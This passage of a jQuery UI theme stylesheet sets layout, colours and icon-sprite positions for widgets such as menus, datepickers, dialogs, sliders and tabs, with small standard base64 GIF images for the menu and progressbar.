----------------------------------*/ /* Overlays */ .ui-widget-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; } .ui-accordion .ui-accordion-header { display: block; cursor: pointer; position: relative; margin: 2px 0 0 0; padding: .5em .5em .5em .7em; font-size: 100%; } .ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; overflow: auto; } .ui-autocomplete { position: absolute; top: 0; left: 0; cursor: default; } .ui-menu { list-style: none; padding: 0; margin: 0; display: block; outline: 0; } .ui-menu .ui-menu { position: absolute; } .ui-menu .ui-menu-item { margin: 0; cursor: pointer; /* support: IE10, see #8844 */ list-style-image: url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"); } .ui-menu .ui-menu-item-wrapper { position: relative; padding: 3px 1em 3px .4em; } .ui-menu .ui-menu-divider { margin: 5px 0; height: 0; font-size: 0; line-height: 0; border-width: 1px 0 0 0; } .ui-menu .ui-state-focus, .ui-menu .ui-state-active { margin: -1px; } /* icon support */ .ui-menu-icons { position: relative; } .ui-menu-icons .ui-menu-item-wrapper { padding-left: 2em; } /* left-aligned */ .ui-menu .ui-icon { position: absolute; top: 0; bottom: 0; left: .2em; margin: auto 0; } /* right-aligned */ .ui-menu .ui-menu-icon { left: auto; right: 0; } .ui-button { padding: .4em 1em; display: inline-block; position: relative; line-height: normal; margin-right: .1em; cursor: pointer; vertical-align: middle; text-align: center; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; /* Support: IE <= 11 */ overflow: visible; } .ui-button, .ui-button:link, .ui-button:visited, .ui-button:hover, .ui-button:active { text-decoration: none; } /* to make room for the icon, a width needs to be set here */ .ui-button-icon-only { width: 2em; box-sizing: border-box; text-indent: -9999px; white-space: nowrap; } /* no icon support for input elements */ input.ui-button.ui-button-icon-only { text-indent: 0; } /* button icon element(s) */ .ui-button-icon-only .ui-icon { position: absolute; top: 50%; left: 50%; margin-top: -8px; margin-left: -8px; } .ui-button.ui-icon-notext .ui-icon { padding: 0; width: 2.1em; height: 2.1em; text-indent: -9999px; white-space: nowrap; } input.ui-button.ui-icon-notext .ui-icon { width: auto; height: auto; text-indent: 0; white-space: normal; padding: .4em 1em; } /* workarounds */ /* Support: Firefox 5 - 40 */ input.ui-button::-moz-focus-inner, button.ui-button::-moz-focus-inner { border: 0; padding: 0; } .ui-controlgroup { vertical-align: middle; display: inline-block; } .ui-controlgroup > .ui-controlgroup-item { float: left; margin-left: 0; margin-right: 0; } .ui-controlgroup > .ui-controlgroup-item:focus, .ui-controlgroup > .ui-controlgroup-item.ui-visual-focus { z-index: 9999; } .ui-controlgroup-vertical > .ui-controlgroup-item { display: block; float: none; width: 100%; margin-top: 0; margin-bottom: 0; text-align: left; } .ui-controlgroup-vertical .ui-controlgroup-item { box-sizing: border-box; } .ui-controlgroup .ui-controlgroup-label { padding: .4em 1em; } .ui-controlgroup .ui-controlgroup-label span { font-size: 80%; } .ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item { border-left: none; } .ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item { border-top: none; } .ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content { border-right: none; } .ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content { border-bottom: none; } /* Spinner specific style fixes */ .ui-controlgroup-vertical .ui-spinner-input { /* Support: IE8 only, Android < 4.4 only */ width: 75%; width: calc( 100% - 2.4em ); } .ui-controlgroup-vertical .ui-spinner .ui-spinner-up { border-top-style: solid; } .ui-checkboxradio-label .ui-icon-background { box-shadow: inset 1px 1px 1px #ccc; border-radius: .12em; border: none; } .ui-checkboxradio-radio-label .ui-icon-background { width: 16px; height: 16px; border-radius: 1em; overflow: visible; border: none; } .ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon, .ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon { background-image: none; width: 8px; height: 8px; border-width: 4px; border-style: solid; } .ui-checkboxradio-disabled { pointer-events: none; } .ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } .ui-datepicker .ui-datepicker-header { position: relative; padding: .2em 0; } .ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position: absolute; top: 2px; width: 1.8em; height: 1.8em; } .ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { top: 1px; } .ui-datepicker .ui-datepicker-prev { left: 2px; } .ui-datepicker .ui-datepicker-next { right: 2px; } .ui-datepicker .ui-datepicker-prev-hover { left: 1px; } .ui-datepicker .ui-datepicker-next-hover { right: 1px; } .ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } .ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } .ui-datepicker .ui-datepicker-title select { font-size: 1em; margin: 1px 0; } .ui-datepicker select.ui-datepicker-month, .ui-datepicker select.ui-datepicker-year { width: 45%; } .ui-datepicker table { width: 100%; font-size: .9em; border-collapse: collapse; margin: 0 0 .4em; } .ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } .ui-datepicker td { border: 0; padding: 1px; } .ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } .ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding: 0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } .ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width: auto; overflow: visible; } .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float: left; } /* with multiple calendars */ .ui-datepicker.ui-datepicker-multi { width: auto; } .ui-datepicker-multi .ui-datepicker-group { float: left; } .ui-datepicker-multi .ui-datepicker-group table { width: 95%; margin: 0 auto .4em; } .ui-datepicker-multi-2 .ui-datepicker-group { width: 50%; } .ui-datepicker-multi-3 .ui-datepicker-group { width: 33.3%; } .ui-datepicker-multi-4 .ui-datepicker-group { width: 25%; } .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header, .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width: 0; } .ui-datepicker-multi .ui-datepicker-buttonpane { clear: left; } .ui-datepicker-row-break { clear: both; width: 100%; font-size: 0; } /* RTL support */ .ui-datepicker-rtl { direction: rtl; } .ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } .ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } .ui-datepicker-rtl .ui-datepicker-buttonpane { clear: right; } .ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current, .ui-datepicker-rtl .ui-datepicker-group { float: right; } .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header, .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width: 0; border-left-width: 1px; } /* Icons */ .ui-datepicker .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; left: .5em; top: .3em; } .ui-dialog { position: absolute; top: 0; left: 0; padding: .2em; outline: 0; } .ui-dialog .ui-dialog-titlebar { padding: .4em 1em; position: relative; } .ui-dialog .ui-dialog-title { float: left; margin: .1em 0; white-space: nowrap; width: 90%; overflow: hidden; text-overflow: ellipsis; } .ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 20px; margin: -10px 0 0 0; padding: 1px; height: 20px; } .ui-dialog .ui-dialog-content { position: relative; border: 0; padding: .5em 1em; background: none; overflow: auto; } .ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin-top: .5em; padding: .3em 1em .5em .4em; } .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } .ui-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } .ui-dialog .ui-resizable-n { height: 2px; top: 0; } .ui-dialog .ui-resizable-e { width: 2px; right: 0; } .ui-dialog .ui-resizable-s { height: 2px; bottom: 0; } .ui-dialog .ui-resizable-w { width: 2px; left: 0; } .ui-dialog .ui-resizable-se, .ui-dialog .ui-resizable-sw, .ui-dialog .ui-resizable-ne, .ui-dialog .ui-resizable-nw { width: 7px; height: 7px; } .ui-dialog .ui-resizable-se { right: 0; bottom: 0; } .ui-dialog .ui-resizable-sw { left: 0; bottom: 0; } .ui-dialog .ui-resizable-ne { right: 0; top: 0; } .ui-dialog .ui-resizable-nw { left: 0; top: 0; } .ui-draggable .ui-dialog-titlebar { cursor: move; } .ui-draggable-handle { -ms-touch-action: none; touch-action: none; } .ui-resizable { position: relative; } .ui-resizable-handle { position: absolute; font-size: 0.1px; display: block; -ms-touch-action: none; touch-action: none; } .ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } .ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } .ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } .ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } .ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } .ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } .ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } .ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } .ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px; } .ui-progressbar { height: 2em; text-align: left; overflow: hidden; } .ui-progressbar .ui-progressbar-value { margin: -1px; height: 100%; } .ui-progressbar .ui-progressbar-overlay { background: url("data:image/gif;base64,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"); height: 100%; filter: alpha(opacity=25); /* support: IE8 */ opacity: 0.25; } .ui-progressbar-indeterminate .ui-progressbar-value { background-image: none; } .ui-selectable { -ms-touch-action: none; touch-action: none; } .ui-selectable-helper { position: absolute; z-index: 100; border: 1px dotted black; } .ui-selectmenu-menu { padding: 0; margin: 0; position: absolute; top: 0; left: 0; display: none; } .ui-selectmenu-menu .ui-menu { overflow: auto; overflow-x: hidden; padding-bottom: 1px; } .ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup { font-size: 1em; font-weight: bold; line-height: 1.5; padding: 2px 0.4em; margin: 0.5em 0 0 0; height: auto; border: 0; } .ui-selectmenu-open { display: block; } .ui-selectmenu-text { display: block; margin-right: 20px; overflow: hidden; text-overflow: ellipsis; } .ui-selectmenu-button.ui-button { text-align: left; white-space: nowrap; width: 14em; } .ui-selectmenu-icon.ui-icon { float: right; margin-top: 0; } .ui-slider { position: relative; text-align: left; } .ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; -ms-touch-action: none; touch-action: none; } .ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: .7em; display: block; border: 0; background-position: 0 0; } /* support: IE8 - See #6727 */ .ui-slider.ui-state-disabled .ui-slider-handle, .ui-slider.ui-state-disabled .ui-slider-range { filter: inherit; } .ui-slider-horizontal { height: .8em; } .ui-slider-horizontal .ui-slider-handle { top: -.3em; margin-left: -.6em; } .ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; } .ui-slider-horizontal .ui-slider-range-min { left: 0; } .ui-slider-horizontal .ui-slider-range-max { right: 0; } .ui-slider-vertical { width: .8em; height: 100px; } .ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; } .ui-slider-vertical .ui-slider-range { left: 0; width: 100%; } .ui-slider-vertical .ui-slider-range-min { bottom: 0; } .ui-slider-vertical .ui-slider-range-max { top: 0; } .ui-sortable-handle { -ms-touch-action: none; touch-action: none; } .ui-spinner { position: relative; display: inline-block; overflow: hidden; padding: 0; vertical-align: middle; } .ui-spinner-input { border: none; background: none; color: inherit; padding: .222em 0; margin: .2em 0; vertical-align: middle; margin-left: .4em; margin-right: 2em; } .ui-spinner-button { width: 1.6em; height: 50%; font-size: .5em; padding: 0; margin: 0; text-align: center; position: absolute; cursor: default; display: block; overflow: hidden; right: 0; } /* more specificity required here to override default borders */ .ui-spinner a.ui-spinner-button { border-top-style: none; border-bottom-style: none; border-right-style: none; } .ui-spinner-up { top: 0; } .ui-spinner-down { bottom: 0; } .ui-tabs { position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ padding: .2em; } .ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; } .ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 0; margin: 1px .2em 0 0; border-bottom-width: 0; padding: 0; white-space: nowrap; } .ui-tabs .ui-tabs-nav .ui-tabs-anchor { float: left; padding: .5em 1em; text-decoration: none; } .ui-tabs .ui-tabs-nav li.ui-tabs-active { margin-bottom: -1px; padding-bottom: 1px; } .ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor, .ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor, .ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor { cursor: text; } .ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor { cursor: pointer; } .ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; } .ui-tooltip { padding: 8px; position: absolute; z-index: 9999; max-width: 300px; } body .ui-tooltip { border-width: 2px; } /* Component containers ----------------------------------*/ .ui-widget { font-family: Arial,Helvetica,sans-serif; font-size: 1em; } .ui-widget .ui-widget { font-size: 1em; } .ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: Arial,Helvetica,sans-serif; font-size: 1em; } .ui-widget.ui-widget-content { border: 1px solid #e0e0e0; } .ui-widget-content { border: 1px solid #dddddd; background: #ffffff; color: #333333; } .ui-widget-content a { color: #333333; } .ui-widget-header { border: 1px solid #dddddd; background: #e9e9e9; color: #333333; font-weight: bold; } .ui-widget-header a { color: #333333; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default, .ui-button, /* We use html here because we need a greater specificity to make sure disabled works properly when clicked or hovered */ html .ui-button.ui-state-disabled:hover, html .ui-button.ui-state-disabled:active { border: 1px solid #c5c5c5; background: #f6f6f6; font-weight: normal; color: #454545; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited, a.ui-button, a:link.ui-button, a:visited.ui-button, .ui-button { color: #454545; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus, .ui-button:hover, .ui-button:focus { border: 1px solid #cccccc; background: #ededed; font-weight: normal; color: #2b2b2b; } .ui-state-hover a, .ui-state-hover a:hover, .ui-state-hover a:link, .ui-state-hover a:visited, .ui-state-focus a, .ui-state-focus a:hover, .ui-state-focus a:link, .ui-state-focus a:visited, a.ui-button:hover, a.ui-button:focus { color: #2b2b2b; text-decoration: none; } .ui-visual-focus { box-shadow: 0 0 3px 1px rgb(94, 158, 214); } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active, a.ui-button:active, .ui-button:active, .ui-button.ui-state-active:hover { background: #1b1c1e; font-weight: normal; color: #ffffff; } .ui-icon-background, .ui-state-active .ui-icon-background { border: #003eff; background-color: #ffffff; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #ffffff; text-decoration: none; } /* Interaction Cues ----------------------------------*/ .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight { border: 1px solid #dad55e; background: #fffa90; color: #777620; } .ui-state-checked { border: 1px solid #dad55e; background: #fffa90; } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a, .ui-widget-header .ui-state-highlight a { color: #777620; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error { border: 1px solid #f1a899; background: #fddfdf; color: #5f3f3f; } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #5f3f3f; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #5f3f3f; } .ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); /* support: IE8 */ font-weight: normal; } .ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); /* support: IE8 */ background-image: none; } .ui-state-disabled .ui-icon { filter:Alpha(Opacity=35); /* support: IE8 - See #6059 */ } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { width: 16px; height: 16px; } .ui-icon, .ui-widget-content .ui-icon { background-image: url("images/ui-icons_444444_256x240.png"); } .ui-widget-header .ui-icon { background-image: url("images/ui-icons_444444_256x240.png"); } .ui-state-hover .ui-icon, .ui-state-focus .ui-icon, .ui-button:hover .ui-icon, .ui-button:focus .ui-icon { background-image: url("images/ui-icons_555555_256x240.png"); } .ui-state-active .ui-icon, .ui-button:active .ui-icon { /* background-image: url("images/ui-icons_ffffff_256x240.png");*/ } .ui-state-highlight .ui-icon, .ui-button .ui-state-highlight.ui-icon { background-image: url("images/ui-icons_777620_256x240.png"); } .ui-state-error .ui-icon, .ui-state-error-text .ui-icon { background-image: url("images/ui-icons_cc0000_256x240.png"); } .ui-button .ui-icon { /* background-image: url("images/ui-icons_777777_256x240.png");*/ } /* positioning */ .ui-icon-blank { background-position: 16px 16px; } .ui-icon-caret-1-n { background-position: 0 0; } .ui-icon-caret-1-ne { background-position: -16px 0; } .ui-icon-caret-1-e { background-position: -32px 0; } .ui-icon-caret-1-se { background-position: -48px 0; } .ui-icon-caret-1-s { background-position: -65px 0; } .ui-icon-caret-1-sw { background-position: -80px 0; } .ui-icon-caret-1-w { background-position: -96px 0; } .ui-icon-caret-1-nw { background-position: -112px 0; } .ui-icon-caret-2-n-s { background-position: -128px 0; } .ui-icon-caret-2-e-w { background-position: -144px 0; } .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-icon-triangle-1-s { background-position: -65px -16px; } .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-icon-arrow-1-s { background-position: -65px -32px; } .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-icon-arrowthick-1-n { background-position: 1px -48px; } .ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-icon-extlink { background-position: -32px -80px; } .ui-icon-newwin { background-position: -48px -80px; } .ui-icon-refresh { background-position: -64px -80px; } .ui-icon-shuffle { background-position: -80px -80px; } .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-icon-folder-open { background-position: -16px -96px; } .ui-icon-document { background-position: -32px -96px; } .ui-icon-document-b { background-position: -48px -96px; } .ui-icon-note { background-position: -64px -96px; } .ui-icon-mail-closed { background-position: -80px -96px; } .ui-icon-mail-open { background-position: -96px -96px; } .ui-icon-suitcase { background-position: -112px -96px; } .ui-icon-comment { background-position: -128px -96px; } .ui-icon-person { background-position: -144px -96px; } .ui-icon-print { background-position: -160px -96px; } .ui-icon-trash { background-position: -176px -96px; } .ui-icon-locked { background-position: -192px -96px; } .ui-icon-unlocked { background-position: -208px -96px; } .ui-icon-bookmark { background-position: -224px -96px; } .ui-icon-tag { background-position: -240px -96px; } .ui-icon-home { background-position: 0 -112px; } .ui-icon-flag { background-position: -16px -112px; } .ui-icon-calendar { background-position: -32px -112px; } .ui-icon-cart { background-position: -48px -112px; } .ui-icon-pencil { background-position: -64px -112px; } .ui-icon-clock { background-position: -80px -112px; } .ui-icon-disk { background-position: -96px -112px; } .ui-icon-calculator { background-position: -112px -112px; } .ui-icon-zoomin { background-position: -128px -112px; } .ui-icon-zoomout { background-position: -144px -112px; } .ui-icon-search { background-position: -160px -112px; } .ui-icon-wrench { background-position: -176px -112px; } .ui-icon-gear { background-position: -192px -112px; } .ui-icon-heart { background-position: -208px -112px; } .ui-icon-star { background-position: -224px -112px; } .ui-icon-link { background-position: -240px -112px; } .ui-icon-cancel { background-position: 0 -128px; } .ui-icon-plus { background-position: -16px -128px; } .ui-icon-plusthick { background-position: -32px -128px; } .ui-icon-minus { background-position: -48px -128px; } .ui-icon-minusthick { background-position: -64px -128px; } .ui-icon-close { background-position: -80px -128px; } .ui-icon-closethick { background-position: -96px -128px; } .ui-icon-key { background-position: -112px -128px; } .ui-icon-lightbulb { background-position: -128px -128px; } .ui-icon-scissors { background-position: -144px -128px; } .ui-icon-clipboard { background-position: -160px -128px; } .ui-icon-copy { background-position: -176px -128px; } .ui-icon-contact { background-position: -192px -128px; } .ui-icon-image { background-position: -208px -128px; } .ui-icon-video { background-position: -224px -128px; } .ui-icon-script { background-position: -240px -128px; } .ui-icon-alert { background-position: 0 -144px; } .ui-icon-info { background-position: -16px -144px; } .ui-icon-notice { background-position: -32px -144px; } .ui-icon-help { background-position: -48px -144px; } .ui-icon-check { background-position: -64px -144px; } .ui-icon-bullet { background-position: -80px -144px; } .ui-icon-radio-on { background-position: -96px -144px; } .ui-icon-radio-off { background-position: -112px -144px; } .ui-icon-pin-w { background-position: -128px -144px; } .ui-icon-pin-s { background-position: -144px -144px; } .ui-icon-play { background-position: 0 -160px; } .ui-icon-pause { background-position: -16px -160px; } .ui-icon-seek-next { background-position: -32px -160px; } .ui-icon-seek-prev { background-position: -48px -160px; } .ui-icon-seek-end { background-position: -64px -160px; } .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-icon-seek-first { background-position: -80px -160px; } .ui-icon-stop { background-position: -96px -160px; } .ui-icon-eject { background-position: -112px -160px; } .ui-icon-volume-off { background-position: -128px -160px; } .ui-icon-volume-on { background-position: -144px -160px; } .ui-icon-power { background-position: 0 -176px; } .ui-icon-signal-diag { background-position: -16px -176px; } .ui-icon-signal { background-position: -32px -176px; } 